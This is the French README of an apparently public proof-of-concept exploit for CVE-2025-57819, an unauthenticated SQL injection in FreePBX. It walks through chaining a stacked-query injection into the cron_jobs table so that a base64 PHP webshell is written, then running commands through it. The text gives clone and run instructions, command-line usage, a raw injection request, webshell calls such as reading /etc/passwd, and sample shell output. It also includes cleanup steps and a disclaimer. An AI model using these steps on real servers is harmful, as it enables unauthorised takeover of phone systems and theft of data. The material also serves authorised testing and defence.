
Exécution de code à distance via injection SQL non authentifiée dans FreePBX, FreePBX 15 (versions inférieures à 15.0.66), 16 (versions inférieures à 16.0.89), 17 (versions inférieures à 17.0.3). La vulnérabilité se situe dans le module commercial « endpoint », en raison d'un filtrage insuffisant des entrées utilisateur, elle permet à un attaquant non authentifié de contourner les privilèges administrateur, d'exécuter une injection SQL et, finalement, de parvenir à une exécution de code à distance.
CVE-2025-57819 est une vulnérabilité critique d'injection SQL dans FreePBX qui permet à un attaquant non authentifié d'obtenir une exécution de code à distance en enchaînant une injection SQL avec une injection de tâche cron.
⚠️ Avertissement : Ce dépôt est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. Toute utilisation non autorisée de cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas explicitement l'autorisation de tester est illégale. L'auteur n'est pas responsable de toute mauvaise utilisation ou de tout dommage.
| Champ | Détail |
|---|---|
| CVE | CVE-2025-57819 |
| Produit concerné | FreePBX (pré-authentification) |
| Type de vulnérabilité | Injection SQL (requêtes empilées) |
| Impact | Exécution de code à distance (RCE) |
| Vecteur d'attaque | Réseau (HTTP GET) |
| Authentification requise | ❌ Aucune |
┌────────────────────────────────────────────────────────────────┐
│ 1. Injection SQL │
│ POST /admin/ajax.php?brand= → requête empilée │
│ INSERT INTO cron_jobs … │
├────────────────────────────────────────────────────────────────┤
│ 2. Injection de tâche cron │
│ La tâche cron malveillante écrit un webshell PHP │
│ décodé en base64 dans /var/www/html/shell.php │
├────────────────────────────────────────────────────────────────┤
│ 3. Accès au webshell │
│ GET /shell.php?cmd=<commande> → exécution de code arbitraire│
└────────────────────────────────────────────────────────────────┘
/admin/ajax.php traite le paramètre brand sans assainissement approprié, permettant des requêtes SQL empilées.INSERT INTO cron_jobs qui planifie une commande malveillante chaque minute.# Cloner
git clone [email protected]:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC
# Installer la dépendance
pip install requests
# Utilisation de base
python exploit.py <cible>
# Passer dans un shell interactif après l'injection
python exploit.py <cible> --shell
# Exécuter une seule commande
python exploit.py <cible> --cmd "cat /etc/passwd"
usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
[--param PARAM] [--no-wait] [-v]
target
CVE-2025-57819 – FreePBX SQLi → Cron → WebShell
positional arguments:
target hostname ou IP de la cible (schéma optionnel)
options:
-h, --help afficher ce message d'aide et quitter
-p, --port PORT port (défaut : 80/443)
--shell passer dans un shell interactif après l'injection
--cmd CMD exécuter une seule commande via le webshell
--param PARAM paramètre de chaîne de requête du webshell (défaut : cmd)
--no-wait ignorer la vérification du webshell
-v, -vv augmenter la verbosité (-v info, -vv debug)
# Cible avec le port HTTP par défaut
python exploit.py connected.htb
# Cible avec un port personnalisé
python exploit.py 10.10.11.100 -p 8080
# Injecter, vérifier et passer dans un shell interactif
python exploit.py 10.10.11.100 --shell
# Injecter et exécuter une seule commande
python exploit.py connected.htb --cmd "whoami"
# Ignorer la vérification (si vous savez déjà que le shell est actif)
python exploit.py connected.htb --no-wait --cmd "id"
# Sortie verbeuse pour le débogage
python exploit.py connected.htb -vv --shell
Avec --shell, le script ouvre un pseudo-terminal :
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Session shell terminée.
Tapez exit (ou Ctrl-C, Ctrl-D) pour quitter la session.
Si vous préférez les étapes manuelles, l'exploit fait trois choses :
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...
La tâche cron injectée (* * * * *) s'exécute chaque minute et écrit le webshell.
GET /shell.php?cmd=id
Après les tests, supprimez le webshell et l'entrée de tâche cron :
DELETE FROM cron_jobs WHERE command LIKE '%base64%';
Puis supprimez /var/www/html/shell.php du système de fichiers.
/admin/ajax.php est accessible sans authentificationCe projet est fourni uniquement à des fins éducatives et de recherche en sécurité défensive. Voir l'avertissement en haut de ce document.